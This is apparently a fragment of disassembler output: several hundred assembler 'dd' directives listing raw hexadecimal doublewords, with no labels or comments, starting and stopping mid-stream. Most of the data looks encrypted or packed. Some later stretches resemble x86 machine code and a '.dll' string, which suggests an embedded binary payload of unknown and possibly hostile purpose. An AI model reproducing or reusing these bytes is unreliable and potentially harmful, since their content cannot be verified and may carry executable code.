		dd 72021198h, 3F55A488h, 0C43237C4h, 403F69CEh,	3FA31420h
		dd 31BC92A5h, 64DB8744h, 1C416461h, 0DEB44225h,	10344E33h
		dd 9C44B324h, 0DAEEBE98h, 0AFD4BF5Ah, 0F92DFh, 2D904200h
		dd 634A9A66h, 1A8350ACh, 692A7D5Bh, 1BFA4EAAh, 0F416F54h
		dd 0BF1DD4BDh, 11EFA66Fh, 0BC18D7BCh, 0D0E5AC15h, 0F7411D95h
		dd 0F9A52C01h, 238A5AF9h, 798E6Ch, 5E4B0000h, 22B07AD8h
		dd 0CF886C24h, 0AB8A5A65h, 574BAB5Bh, 972422B0h, 0D29BB79Bh
		dd 0D510BBE8h, 838C0567h, 0BD3534A5h, 616D5062h, 9E5A5A94h
		dd 8FFB538Fh, 33F59Ch, 0F069287Ch, 3D5E187h, 0A8A26A1Fh
		dd 10A4FA99h, 0C000000Fh, 18E4AB12h, 0C612E1C8h, 0DBB9B81Dh
		dd 0AC080788h, 0C5BAB958h, 821375EFh, 54C12573h, 25EE3F9Dh
		dd 5A43926Eh, 0E353F69Bh, 2C01F76Fh, 5A439B7Fh,	7F51228Bh
		dd 5AA66750h, 966A238Ah, 0AC916233h, 0BF2AD101h, 2D38AE22h
		dd 22AFC9C5h, 0C5191D24h, 4F28B162h, 7D4B234Ch,	0D243A51Bh
		dd 2CF4F09h
		dd 0C35F0000h, 0B05250A6h, 9D152422h, 2422AFC1h, 0A1955125h
		dd 9C0A6118h, 29258D4Fh, 0BD2422B0h, 4B27EC41h,	0E0B63C27h
		dd 241F6D75h, 0AB2A855Fh, 4806F85Eh, 379C3FEh, 1EFAF3DCh
		dd 3A863A9Dh, 0CFC333ABh, 1F2BF5C7h, 0C1133F13h, 26737813h
		dd 0DCCB76ADh, 24CADBBDh, 1F97603Bh, 12D38FB2h,	1EA4BEC7h
		dd 0A57D384h, 0E30FF8E7h, 68297C00h, 59E2B314h,	2707570h
		dd 1867368Ch, 71E55662h, 0F075C119h, 254B5D3h, 4342AC74h
		dd 2CB7F931h, 0C262D072h, 460F2E3Fh, 0A17246E2h, 0A3DEC39h
		dd 4D19431Fh, 923ED5h, 8BAFC52h, 5506F228h, 0EE3DDE54h
		dd 0A33F6F59h, 4385DCF7h, 0F1FD8EDh, 9266F292h,	3BFAE957h
		dd 69EBFDBBh, 28E70B51h, 0BA9C05CCh, 9ABD16DEh,	0D0D7276Ch
		dd 8000000Dh, 58A46B52h, 86522188h, 1B79785Dh, 6C4847C8h
		dd 57A7918h, 0C253B5AFh, 1481E5B3h, 652E7F5Dh, 1A8352AEh
		dd 0A313365Bh, 2C01F7AFh, 5A835B3Fh, 806A238Ah,	584D7823h
		dd 22B084DAh, 0A7B86A24h, 0B602E1D7h, 624710E4h, 0F00870D4h
		dd 0AD0E706Ah, 2F3A79D6h, 24957ED1h, 439F22B2h,	9165DB5Eh
		dd 1184EA56h, 0C550B602h, 0DA81DECCh, 267CFAEFh, 0C89DBBA7h
		dd 594090ECh, 12F7C098h, 0B08972A4h, 805F8ACFh,	0CB29152Ch
		dd 40167DB3h, 0C2A59155h, 662DE83Eh, 9061349Ah,	4E289140h
		dd 0B4868C5Ch, 28419DF6h, 0D800000Dh, 10ECA30Ah, 0BE1AD9C0h
		dd 13E1B015h, 0C410DFB0h, 0FDE2B160h, 6A2B7DD7h, 1CF94DABh
		dd 6D268755h, 228B5AA6h, 0AB0B3E53h, 2C01F8B7h,	108B6337h
		dd 35B839E6h, 34073B9Ah, 0D3F6C41Fh, 5C0260D6h,	10E4C060h
		dd 0A942EF47h, 3B32E41Eh, 1D7F5A8Eh, 0C82E19C0h, 0D61985C0h
		dd 0CD3C9040h, 2FF48270h, 6065829Ah, 0CE09627Eh, 2FDD9F06h
		dd 9FF8C162h, 0A61A4D29h, 4117D83Dh, 0A62B9178h, 1754363Dh
		dd 0F4F18164h, 0AA36F7F8h, 0F51D8C4Fh, 88095CE0h, 990E68CFh
		dd 4D18168Bh, 96EADDD9h, 51AF664Fh, 0F5794382h,	0E2771C75h
		dd 896D287Eh, 0BA31B56Fh, 76484B1Ch, 0C6Fh, 4B4AB31Fh
		dd 777E676Dh, 9C53B829h, 6D24ED40h, 9D543D8Fh, 74D88826h
		dd 0A40AD69Dh, 71D622F1h, 0C00FEDA4h, 0D07518D7h, 1F9EC62h
		dd 0C61E022Ch, 0F71C2450h, 34C0D4F3h, 36332E14h, 0EC13E2C0h
		dd 0A73004C9h, 8EE7B341h, 24981399h, 3B8750C1h,	0BCB31CC3h
		dd 0FBEE9DCAh, 0B956E57Bh, 9D159BB3h, 620C4120h, 502B8BD1h
		dd 7A6D49DDh, 0DBC0116Fh, 0F4A1065Ah, 9F140DD1h, 0FF682F44h
		dd 0CC217F36h, 0E8784647h, 7100000Bh, 1E15F2ADh, 56DF290Fh
		dd 16DFC3FEh, 0B514E273h, 553C90ECh, 8FFBBC9Ch,	62A12F52h
		dd 52FACE38h, 41522617h, 5AD80BE7h, 5D2688Fh, 0E975858Dh
		dd 0F10B69A0h, 10DA5F2Dh, 69E54D58h, 0FE245F2Eh, 5F2E1A78h
		dd 7CE8CC24h, 33935C78h, 9EB957E8h, 28268C99h, 0BEDE84B8h
		dd 689501BAh, 0D9DA1637h, 0DA937C63h, 0AF3E27Eh, 5CA62F09h
		dd 0D9E22A9Ah, 82529EDCh, 0D1891945h, 0F4E0554Eh, 0C343A5FBh
		dd 567A5F33h, 0CFA38F23h, 0EFE36EBEh, 3FB32E08h, 7EF0D4B7h
		dd 24CC27Ch, 0C3D20000h, 3EABB2DFh, 75E6F742h, 18D9BA0Bh
		dd 0D43766C8h, 1700323Bh, 0CE5C6120h, 93234632h, 242305BFh
		dd 5E2F432Fh, 742185FBh, 8D765DC3h, 3ADB2C84h, 8B085D3Bh
		dd 22C91882h, 6ABE4227h, 638169Ch, 0CAAE2423h, 0B80BE5AEh
		dd 164216D7h, 529231A5h, 528C5B31h, 1CB341A5h, 0E1403F96h
		dd 0B1B4AFC3h, 22414D41h, 2495A144h, 0C995D0A4h, 178921F9h
		dd 0C69C1AE3h, 28442227h, 0E4AF284Ch, 19DABB0Ch, 0DEAF18C7h
		dd 120FC38Eh, 10364434h, 0E504F099h, 77727878h,	24EDA609h
		dd 0B0B0AE44h, 42364421h, 1F345140h, 1F98A1B6h,	0A02F6CC1h
		dd 0F1541B37h, 0DF58398Bh, 0A6672C81h, 0D9082850h, 0DE10D8CCh
		dd 9F83B986h, 0F50B8703h, 9A0EC75Ch, 461C9A8Fh,	0A8B5C777h
		dd 47AB0BCCh, 0A7E5E621h, 6B248D53h, 238B3295h,	0C7472307h
		dd 3D38391Dh, 2E910C0h,	83E49357h, 441E0312h, 0BE8CC6CAh
		dd 55D58614h, 0F280630Ah, 91AFD937h, 33722A35h,	327EF8B9h
		dd 0E305EE5Ch, 0F25382FEh, 17D8FCE1h, 24107841h, 6431956Bh
		dd 7FF4FADh, 0F2A3B3AFh, 17F84B45h, 72460256h, 0AC338D86h
		dd 0B99D06CBh, 0E8E855B8h, 91603599h, 6132E343h, 0F87026F8h
		dd 0B6F0A2BAh, 0A2588505h, 0F2983E14h, 0B0C4B045h, 3DB5B0B5h
		dd 45F29861h, 0CE28B185h, 8D90B87Fh, 0F7E2687Dh, 70321776h
		dd 0F14F93A1h, 504EA471h, 9666E89Ah, 9105B6A2h,	0C1DBB3C4h
		dd 0DF96A246h, 27E8AD01h, 0CAE16042h, 0E4F28AAFh, 27011283h
		dd 0C1208A4Bh, 80C72F1Ah, 7E27B04Ah, 5730D4E0h,	0A48B3086h
		dd 0B1353B2Eh, 0F461CCC5h, 7BFBEEF4h, 422FA527h, 166AEBC7h
		dd 8A8D0FB0h, 5B084DC9h, 876B8708h, 65DA2C88h, 0AFF0EA30h
		dd 5A133F27h, 5D883370h, 0E80352D5h, 54E2C711h,	0EE1802FEh
		dd 51E104F0h, 0EE1802FDh, 0E25405F1h, 0E0CE0FD7h, 365E83E1h
		dd 0A2064201h, 0CA332F87h, 0BFB3BDFEh, 0AE00DC93h, 7778616Fh
		dd 5250A6A1h, 94BDFECAh, 0DFBDB4A0h, 0E2058Eh, 1D716567h
		dd 0A372E3FCh, 0F055ABBEh, 93D1CD23h, 2096BDFFh, 0BDFF9442h
		dd 2014D0A4h, 93D1CD25h, 2115BDFFh, 0E7443C98h,	0DEA11134h
		dd 0E01909DAh, 735D561Eh, 0ED62A1Fh, 8AC82EA7h,	6B3C01D0h
		dd 0B5C82BF5h, 8DCAC9D8h, 286DC5Ah, 8C682BF6h, 8B59A768h
		dd 0BECF46AAh, 0A2878E6Ah, 494ACB1Eh, 440E66EFh, 5E3839E2h
		dd 691FCEC7h, 21DD7628h, 22A6BCCBh, 0B4C13D99h,	0D34A4B3h
		dd 96C49A18h, 3F2A628Ch, 8C96DBB7h, 4B270B62h, 0FF592C8Ah
		dd 66DA58B4h, 0BD25967Fh, 0FCF4F4EBh, 7D4B86A1h, 3CF3h
		dd 8A5A9B00h, 5A8C6A23h, 22A8B295h, 0DABCF009h,	0B07035AFh
		dd 0BEAFED3Eh, 0B309DF13h, 57B1C253h, 6B5282DEh, 0B3EF4EA4h
		dd 0ED0DB19Bh, 1B6D2AC8h, 3AB30859h, 7BE1F7E0h,	0FFFFFF83h
		dd 963DC3DFh, 8D54AC2Dh, 7EDCC24h, 0B806DFC3h, 80CCA812h
		dd 681353B7h, 67AEF08h,	0CF45F6DFh, 4B1ADED1h, 169C8980h
		dd 2722B038h, 4711CAAEh, 55h, 39E24467h, 0CE33C399h, 0B75A89B2h
		dd 0A730E549h, 6A3E644Fh, 9C2005ECh, 2826CC35h,	0BE5B5942h
		dd 43A101BAh, 4865B3B5h, 2191944Ch, 265DCC2Dh, 0A6A1B5C1h
		dd 814D8A5Ah, 381349C8h, 68C0D1A5h, 31C385EFh, 0CB238A5Ah
		dd 3DC3E70Dh, 54AA2BE8h, 65h, 39E24498h, 1333C399h, 7C142941h
		dd 27E8D100h, 7C2E8851h, 81AB6E3Dh, 5ECF448h, 0CCFF9C1Bh
		dd 8D17FEDh, 0B50910AEh, 0A41217BAh, 242319AEh,	1F833440h
		dd 0C9C52D38h, 1D242319h, 0EBEBEB43h, 9BB71125h, 0B5B0C81Ah
		dd 5E2F9847h, 925B4292h, 0BB19A2B6h, 8A5A31C3h,	0DA5E4023h
		dd 0C997D85Fh, 0D46AE27h, 24895AE7h, 0BF8F5D41h, 566EE452h
		dd 74802423h, 5D6B798Ah, 76BF17DCh, 0A4A3A7B5h,	0F804146Dh
		dd 2BD0EA84h, 62DEDBDEh, 0D58D860Fh, 0A801F949h, 8CE27E5Fh
		dd 0B8250809h, 1F8AC138h, 0C807CCABh, 555418Bh,	0B0BF93AEh
		dd 509F914Dh, 11D355DBh, 2BD552D3h, 0E972EE8Ch,	7437EE8Dh
		dd 5A201096h, 75E1B57Bh, 38D29DD9h, 0F453A98Dh,	97FFFFEEh
		dd 6C238A5Ah, 544125F9h, 0E5345349h, 2A9F674h, 830B6FC7h
		dd 4B29CE70h, 0A36257E2h, 0B3EA3CC0h, 57B1C253h, 0B396727Bh
		dd 88264F43h, 22939FDAh, 0E5BBBBB4h, 9D993DD0h,	22F356AAh
		dd 632C7F51h, 0A90DC68Fh, 0D3BF8E56h, 0EECFB268h, 3B4EA43Bh
		dd 0ABD2FB10h, 5E4B5E09h, 0E3107AD8h, 0EA886CACh, 0ACE31074h
		dd 995A4392h, 28B703BFh, 7E5AAEBFh, 5E8444BDh, 90AF3E2h
		dd 0CADA6D2Fh, 9C141CD6h, 0AF613C1Bh, 733060Bh,	5B000000h
		dd 158h, 3DC39C00h, 3652E97h, 0AFFC52E0h, 6F22422h, 0E188D555h
		dd 0D15B90E6h, 8C1967AEh, 7368CEDEh, 99EB6DBh, 3F33ADA4h
		dd 8B72622Eh, 0BDF12E84h, 0F50323ABh, 0C3E6069h, 0A754962h
		dd 0C60CD654h, 13E308BEh, 439502B3h, 966231E2h,	81DD5531h
		dd 652BF5BAh, 0EDAC6591h, 815D8C01h, 0DCCA1B8Eh, 0F998EC0Dh
		dd 833420F8h, 5AABCAFEh, 0F7DEBAB9h, 1D0200Eh, 4748B120h
		dd 0C4FE54E2h, 4F02BF5h, 6B2604F0h, 0DC037276h,	5DD5D0F3h
		dd 2BF5C501h, 0F24811E5h, 1ACED182h, 0F6C87DCBh, 0E8000000h
		dd 2F943DC3h, 0D9510A5Eh, 0C36FDF8Eh, 7D5E6933h, 0F564A739h
		dd 0EB837489h, 0B8CD504Dh, 1DB5B13Fh, 0BC3B31C3h, 228B5AB7h
		dd 0CC0BD927h, 6CAD23Ch, 0B5BE9A8Bh, 0ED72E253h, 973DC307h
		dd 0E53DAD2Eh, 2FB50B3Eh, 0EF9F15C6h, 973DC305h, 1903652Eh
		dd 1729B839h, 8770E9C1h, 804B7414h, 4082h, 14A28700h, 2723093Eh
		dd 0A113C4B0h, 9939E244h, 91BE33C3h, 37347E5Dh,	0C1B42C08h
		dd 1EE0B123h, 0DA26412Fh, 77D1A20Bh, 66E4ABEh, 8A5A31C3h
		dd 5C0DCB23h, 90AF3E0h,	584EA62Fh, 4Fh,	39E2449Ch, 0EB3DC399h
		dd 3AB8B12Ah, 0A8DEAA6h, 7F1073C9h, 50098ADBh, 5C7211E6h
		dd 7220592h, 4371B3AFh,	763F338Dh, 3D278520h, 12E674BBh
		dd 927B69D7h, 37A02F81h, 45F6E236h, 5AA6C3CFh, 0BE27AC89h
		dd 0B67F53B5h, 238A5A5Eh, 58E70DCBh, 0FFFFFF01h, 4C8B5A9Ch
		dd 43B3D41Ah, 2422FC4Fh, 0BEE9939Fh, 3B3420DCh,	0DE957E65h
		dd 3294BFECh, 0DFC81763h, 0D762D0F3h, 0D5B109AFh, 0D481EEA7h
		dd 656A50A6h, 0E87CEBB0h, 6AA3030Ch, 8852E65Ch,	0DF20F994h
		dd 0FE54E2C7h, 0F01F1EFDh, 5FD55304h, 2537E49Ah, 0D589C07Ah
		dd 0FC35724Dh, 70258A49h, 9A4ED384h, 3073F752h,	8E9D72h
		dd 0C3350000h, 0B05250A6h, 9D152422h, 2422AFC1h, 0A1955125h
		dd 4E75B218h, 7E521BFAh, 0C6A26B2Ah, 633FB7B2h,	832422B0h
		dd 85A0C3AFh, 22B0312Dh, 0F8C1B524h, 0A1111411h, 2422AFADh
		dd 12843541h, 4DD9629Ah, 3C12A085h, 0B28E1E7Dh,	0A6A115C6h
		dd 548194FDh, 8FFAE092h, 6580E864h, 5005910Dh, 0FD615598h
		dd 50EEAABh, 884DAFA1h,	95894DFFh, 0D75D535Bh, 0B72F7BD1h
		dd 0B86ADDDBh, 0C1B55C4Bh, 0AB169F32h, 0D0CCCF27h, 0F7CA0A38h
		dd 0EA000000h, 51228B5Ah, 8D3294E8h, 0A755391Dh, 945D790Bh
		dd 4B9D03B4h, 0E8F7C9CAh, 33A2EEFFh, 0A2E3CBCAh, 0A0C13E1Eh
		dd 30873098h, 35A7FC7Ah, 0A56FA9Ch, 0AD6A7ADBh,	0B76A172Eh
		dd 622B4714h, 80157A06h, 0B6BD996Fh, 82E05653h,	640253BCh
		dd 6A79C790h, 94FA4681h, 9F18F001h, 12B9E6D4h, 8E0769D7h
		dd 9556DCCDh, 9758D4BBh, 0D5C9272Eh, 0B417189Eh, 9C870DC0h
		dd 6CA36EC2h, 74E58011h, 8DF100F4h, 38BEA950h, 47DC53Eh
		dd 9778CB31h, 0AA3EDEE5h, 7D086A8h, 6C07EDAFh, 0C577FD09h
		dd 0CFCAA5E7h, 0C4382B07h, 16E2B160h, 0E511E3B2h, 0CF431627h
		dd 319DAB4h, 19C90000h,	0F1DFBDB4h, 26AB0908h, 87EAB6BDh
		dd 57B9070Eh, 0E2D0B7BEh, 78771E72h, 444BCA1Ch,	777E1778h
		dd 4251BA29h, 0E6BC3A2Fh, 82C0202h, 0F65A5C54h,	5D84501Fh
		dd 34887D74h, 0ED4B44ADh, 0DFC3086Ch, 7F6891A8h, 0F456DF93h
		dd 0FD29F5B7h, 0D9032D7Bh, 70B3AF45h, 69332423h, 208B0AFFh
		dd 0F6E2F6A7h, 9D8E63D3h, 0F3A4507Eh, 0FB937C3Ah, 77702E75h
		dd 0FA46E2CBh, 0A5E02EBh, 0D2A6828Bh, 6DCDE5C1h, 2FEF4F2Fh
		dd 0C04EE089h, 0AB2C953Ch, 8FC8A24Ch, 4DE5C488h, 0B3965E92h
		dd 0E194A106h, 11Dh, 0DEB71A66h, 12823315h, 51228B5Ah
		dd 0AB642D7Fh, 28ED42BEh, 0EE481167h, 664F4804h, 2FB6C0F8h
		dd 49B7B29Bh, 4AAC2DE6h, 0A31AA1A2h, 0F8E1F04Ch, 57B804F9h
		dd 3CA3FDBEh, 448CF0D3h, 3B4945Dh, 6E1D4A30h, 0BD126E7Bh
		dd 74F75FD8h, 7299F9E3h, 6E3E765Ah, 291AAE04h, 259BB568h
		dd 0CFA075D9h, 0B3965D79h, 9DDCF1EFh, 6FE8F106h, 0C8FBAEFBh
		dd 9DBAE96Ah, 0DD634616h, 0F76B098Ah, 0F7569344h, 450886ECh
		dd 0DADE5693h, 90D93DFEh, 9A52CD49h, 9D1D8BDCh,	3698E439h
		dd 0ED428E5Fh, 0E5116728h, 75CB0E74h, 54D4856Eh, 0B5176560h
		dd 0CC3015DCh, 28268C7Ah, 0BE35C565h, 9DD59EBAh, 38372FFBh
		dd 0A11A3EEEh, 5224ED3Fh, 0BED329BEh, 0A427771Ch, 54000001h
		dd 8C68278Eh, 4A965D44h, 5F3D3499h, 308C830Ch, 493E35DCh
		dd 0FE97F96Bh, 0D045A9F7h, 192F3C1h, 0D63FA6F2h, 67CF7A1Fh
		dd 2C0204EBh, 5ABF1FFBh, 84501FF6h, 0EB51745Dh,	642D8099h
		dd 0E8A9CDABh, 0FB9AEC90h, 0D0A516F2h, 228B5AF8h, 67507F51h
		dd 42E936A8h, 89402207h, 15C447E5h, 9175E15Ah, 53CB12C4h
		dd 3F5E9471h, 8D085EE2h, 0CF33A484h, 12D1D415h,	896DD3F4h
		dd 0AF3E25Eh, 0AE26AD0Bh, 0EE564A48h, 0B9951D0Bh, 2D0BEE55h
		dd 0BD999D49h, 0F299C6B4h, 68B47FF7h, 97624D7Fh, 808C947h
		dd 0AFC051B4h, 0DF77E059h, 439F891h, 3599E581h,	0EBAAFC60h
		dd 37D5ED07h, 0E49F4F66h, 0E20Ah, 5D409200h, 339A4A96h
		dd 8A73603Ch, 39DA2D8Bh, 8B0A5E3Ah, 9FB11F84h, 0EFCDC44Dh
		dd 0A1FFF69Fh, 0ECC8C74Ch, 60F5FCE5h, 5118DE5h,	9D52C02h
		dd 34E744A9h, 0EF4AA111h, 69D7B032h, 7EDA9378h,	0F077EB4Bh
		dd 7B77B832h, 0D93E5CBAh, 0AC4AA4C2h, 1CFDFFBFh, 0D1368A3Eh
		dd 915F3044h, 3E9A5942h, 3B035897h, 0CD3EFBBDh,	590EE8A9h
		dd 1BD7C028h, 23459DADh, 0B730AF05h, 5D4112A5h,	48B222E6h
		dd 6ABC20CBh, 42BE2AABh, 8D632C91h, 13925B38h, 0A4CB22A6h
		dd 1BCAB939h, 0CE15E3B2h, 613D2CE5h, 9AA444D4h,	3EAFAE6h
		dd 0B71A66EFh, 68BB15DEh, 0B51AE6A7h, 68297CE0h, 0C60AD5A7h
		dd 5D8D382Fh, 3E14A287h, 0B04CDEAEh, 26AD13C4h,	0FBEAB6BDh
		dd 0CAD0112h, 0AA000000h, 65118F8h, 0A5164002h,	5AD71D2Fh
		dd 946C2588h, 55AB644Dh, 966A23F0h, 54AC6530h, 805021F0h
		dd 54AC652Ch, 814F20F1h, 4EA26B50h, 584E1F86h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 51240489h, 0C181E189h, 4
		dd 8704E983h, 895C240Ch, 2868242Ch, 89000062h, 5F682434h
		dd 89000054h, 0C1BF243Ch, 8907DF30h, 8B545FFDh,	0C4832434h
		dd 0BF575004h, 8, 15FF889h, 582889F0h, 5E2434FFh, 8B04C483h
		dd 8951242Ch, 4C181E1h,	83000000h, 0C8704C1h, 8CE95C24h
		dd 0B5FFF4EDh, 7723C0EDh, 0DF56CFB8h, 50C50307h, 18D185C6h
		dd 684707D3h, 0CF381725h, 165B5FFh, 858D07D3h, 7D33A37h
		dd 0D88BD0FFh, 2139858Dh, 685007D3h, 104h, 85C6D3FFh, 7D318D1h
		dd 0F8BF6853h, 0B5FF8307h, 7D30165h, 3A37858Dh,	0D0FF07D3h
		dd 2E848589h, 0BD8307DFh, 7D32425h, 0B840F00h, 8B000000h
		dd 0D317A99Dh, 5E907h, 0BB0000h, 68000000h, 100h, 2E88B58Dh
		dd 535607DFh, 1F0995FFh, 0B58D07D3h, 7DF2E88h, 1E9F003h
		dd 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh
		dd 88858D00h, 5007DF2Eh, 2E8495FFh, 0FF5807DFh
		dd 188FD0E0h, 312D844Eh, 0FB02473Ah, 0ADB31D34h, 2D4A3A41h
		dd 0FD903738h, 89B7C928h, 78D8D1Dh, 6A07DF59h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 7CF1C357h, 6B157375h, 0E6822636h, 29418D89h,	6A07D3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8496ACC3h, 0D5A6953Dh, 8D89967Ah, 7D318FDh, 2BA185C7h
		dd 5D2807D3h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BF5B7C3h, 0D334C585h, 1185C707h
		dd 7D333h, 8B000000h, 0D32695B5h, 0C9B5FF07h, 6A07D323h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 87A0C355h, 82FAC0CEh, 0C5855072h,	13C5B58Bh
		dd 95FF07D3h, 7D32D3Dh,	0EE9h, 4D118700h, 430729A7h, 0AAA102B9h
		dd 9E81108h, 0D30A89B5h, 0FF006A07h, 0D3301995h, 0EBC08B07h
		dd 0B0828038h, 0B282BA68h, 423107F7h, 39863550h, 0D3A9B8BEh
		dd 0B6800B92h, 0E676532Ch, 72DAFC1Fh, 1689E198h, 80B471A9h
		dd 6BF0AAF9h, 0FCDCBD43h, 0D6047B61h, 0DEE026F4h, 6E8CCh
		dd 39200000h, 2E337FC0h, 0C68B535Bh, 0B7C38158h, 8900005Eh
		dd 0D314D595h, 177E6807h, 5FF50000h, 0FE9h, 2E4F8A00h
		dd 1B60F2FDh, 9DB97450h, 0D7F3A15Dh, 0B45633FFh, 8B595810h
		dd 0D30C51B5h, 0ACF18107h, 0E80141BAh, 9, 1CED597Bh, 965903Ah
		dd 0C6B70FA0h, 75F1815Eh, 661053C8h, 0FB90CE81h, 5B23E981h
		dd 0BE6616F8h, 0B89CAF7h, 8168C281h, 0EB8330AFh, 61958B02h
		dd 4B07D317h, 0EE81664Bh, 0EF8189CDh, 1, 1A850Fh, 9D010000h
		dd 7D33015h, 28E9h, 2B2AAB00h, 72AA7334h, 358133C8h, 683C47FDh
		dd 2E81BD09h, 7DE907D3h, 0D2FFFFFFh, 7795630h, 0B5189893h
		dd 33143080h, 0DE8ADh, 0BA000000h, 0CA83AAEAh, 331836D5h
		dd 58548A51h, 0C0815F51h, 5B9Fh, 8F0Fh,	0AD680000h, 66000016h
		dd 8D34DF81h, 0B58D295Ah, 0FF07D300h, 9ABE5B30h, 813F84EDh
		dd 0C82C60F3h, 14E87Bh,	2E380000h, 0A851E150h, 0CE45AABCh
		dd 0AE5E1016h, 5B13068Dh, 0BD23FDA2h, 7D32A5Dh,	0C0C38159h
		dd 8B0E2E99h, 0D302218Dh, 5CC38107h, 0F5595E25h, 3601889h
		dd 0D30A41BDh, 0E7816607h, 81617412h, 3FBC08E8h, 0C995097Fh
		dd 8107D316h, 3FBC04C0h, 850F7Fh, 81000000h, 1EAh, 20850F00h
		dd 0E8000000h, 0Dh, 0DFF5B9DCh,	0F08D8FBh, 0A3D57924h
		dd 0C88B66A8h, 33E95Eh,	14A20000h, 0E8A97C25h, 14h, 0A8C02CDDh
		dd 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh,	0FF17CF81h
		dd 0E95E61B7h, 0FFFFFF47h, 0EA7F2113h, 0E8ECEB3Dh, 2BE929h
		dd 227F0000h, 8C9355CFh, 0E89DE61Dh, 746E2E81h,	2E6C6C64h
		dd 6C6C64h, 0B2BD1467h,	0FEB98003h, 3 dup(0)
		dd 8E3E900h, 0E8680000h, 0E907DF5Ch, 0FFF67714h, 0DF5E2568h
		dd 770AE907h, 0FC68FFF6h, 0E907DF5Eh, 0FFF67700h, 0DF602368h
		dd 76F6E907h, 6568FFF6h, 0E907DF61h, 0FFF676ECh, 0DF629668h
		dd 76E2E907h, 0B757FFF6h, 0C8634977h, 0BA525888h, 0C2603E7Ah
		dd 0B5545A86h, 31984375h, 89B7F792h, 93C501A3h,	80C0FC95h
		dd 7FC1FD9Ah, 60E7CDC2h, 45F48A80h, 241D5D29h, 6B000000h
		dd 0AFABE7C8h, 0A494D0ADh, 8DDCDED4h, 6202591Ch, 6B3FEFDDh
		dd 3A344603h, 87C3603Eh, 541DED0h, 0E53B0713h, 2A1C9392h
		dd 6F641450h, 0ED457E8Dh, 947254BBh, 7DD0A858h,	1A8B1744h
		dd 331AFA75h, 98AB8744h, 214921DFh, 680B09F3h, 60A07F6Fh
		dd 0ED938562h, 0B4625A88h, 0B6A67B80h, 0FCFC3CD8h, 1FDEF72Ch
		dd 92E0D4DCh, 0C7CA7E18h, 8FCB07A5h, 4113EF8Dh,	0EE7C1F1Ah
		dd 0E1E1F67Fh, 0F33BD26Dh, 0F4FAD511h, 1D93E475h, 0FFA66AA2h
		dd 331h, 0DC034929h, 0E5D511EAh, 50271010h, 2CB68651h
		dd 4B21E7A7h, 0A3AE0B27h, 0BD940A6Ah, 6F55AC8Eh, 0C65D5106h
		dd 96E69A86h, 0FA4F0244h, 0F991C3F3h, 9286F6F5h, 67FEB974h
		dd 61D6D522h, 0DA16F8D6h, 2D84E1Eh, 0E15788CAh,	0C44F7360h
		dd 59EDEAB0h, 17EEE01Ah, 417B29D7h, 2A4D2E2Ch, 3CD0A42Bh
		dd 2F0B55A2h, 9FD309A1h, 0E16D6014h, 0A52A9EB9h, 6FE8B02Ah
		dd 0AB33E1CFh, 243682C9h, 0AB85E796h, 0EA98886Fh, 0D545CA85h
		dd 0A0318308h, 0D3A92E19h, 96240B8Ch, 9E7C7CF1h, 0FE93C501h
		dd 6347410h, 0CE96F31h,	21D604D0h, 0DB85B372h, 68A26h
		dd 40E000h, 343DAC0h, 0FB3BD7D5h, 541DFBDh, 0FA3AD5D3h
		dd 0BB813BEh, 2E2C2C6Ch, 46241450h, 292F316Dh, 0F3D0104Ch
		dd 87B1987Ch, 5A16F48Ah, 0ABE7C88Eh, 0AEADCAAFh, 0DFC0AE29h
		dd 0C2BEB7A3h, 62E6566Ah, 19B209AFh, 0F880D7Dh,	6516262Dh
		dd 36E28B8Dh, 58BFD4A8h, 0A31C9F29h, 1F5F3A2Ch,	0A8D0163Dh
		dd 6F27B9Ch, 64C9F780h,	0BC5539A6h, 0C0B78080h,	0D0143B21h
		dd 0F4799CA8h, 0C0FA3AD2h, 754710E7h, 45F6B266h, 180FB411h
		dd 46289DD5h, 0D3A92E6Eh, 0DC440C8Ch, 0AC7C7CF1h, 869E9D42h
		dd 0BFFF9678h, 5432CBC1h, 0FD8375B5h, 0B4D0A878h, 0B7C0B204h
		dd 8946E303h, 6DF17166h, 7713CAFCh, 312DFDFBh, 899AA79Ch
		dd 94CE0EA5h, 5EF7E593h, 0A5538F70h, 1B9493E4h,	12391B94h
		dd 77995F9Ch, 9CD77E5Eh, 0B3BC995Fh, 948CDC9Ch,	0F47E526h
		dd 0D8A43965h, 7376E161h, 0B86C5603h, 42BABAC8h, 796B344h
		dd 1CAF87Dh, 5C40F7F6h,	857A7576h, 11A14F11h, 372A0A3Dh
		dd 85995959h, 9AC804A1h, 0EFD5DB9Dh, 40DDD186h,	0C05B4B04h
		dd 8E8C8080h, 0C3F7B5F1h, 9C2ED6EFh, 54D3DC6h, 3A30000h
		dd 0FC9795C3h, 69E7CBCh, 0F6949AC6h, 1A07EBAh, 75CC7FC1h
		dd 4573B34Eh, 5789C567h, 3C7CB851h, 5385C15Eh, 3C23F97Eh
		dd 0A1F48A85h, 0E7C8C1C5h, 0ADCAAFABh, 35329AEh, 2C6AB0E1h
		dd 32693B4h, 427E1C0Ah,	0BA4C3056h, 10EF7D77h, 5345811Eh
		dd 0E2DE972Dh, 58DFDE19h, 0D20EEFDFh, 0C5CF5626h, 0BC6AC347h
		dd 5DEAE70Ch, 1D7146DDh, 1C516B63h, 0AD9F2793h,	258A69D8h
		dd 8F705E73h, 0A6876553h, 0F7D7706Ah, 0F1583C1Ch, 0D610589Fh
		dd 0AB8CB6A1h, 6C6B8CEDh, 204911E3h, 4D41F172h,	6E4773AFh
		dd 684C13E9h, 3C31B762h, 9DADEC3Ch, 0C3A30DBDh,	0C8EEAAE6h
		dd 7DB509B4h, 0DFF88E28h, 65AB56FDh, 14323B28h,	26FF3B77h
		dd 82698351h, 0A0B23DB3h, 47613h, 0EC2CCC00h, 0D717EEECh
		dd 0E72703E9h, 0D915F3F9h, 0E62601E7h, 477C27FAh, 32382868h
		dd 42281854h, 2D2B2D69h, 6F241450h, 85CD9468h, 0B6B2F48Ah
		dd 0ABE7C8B2h, 0AEADCAAFh, 0DA34AE29h, 5B02D2B9h, 40F3556Fh
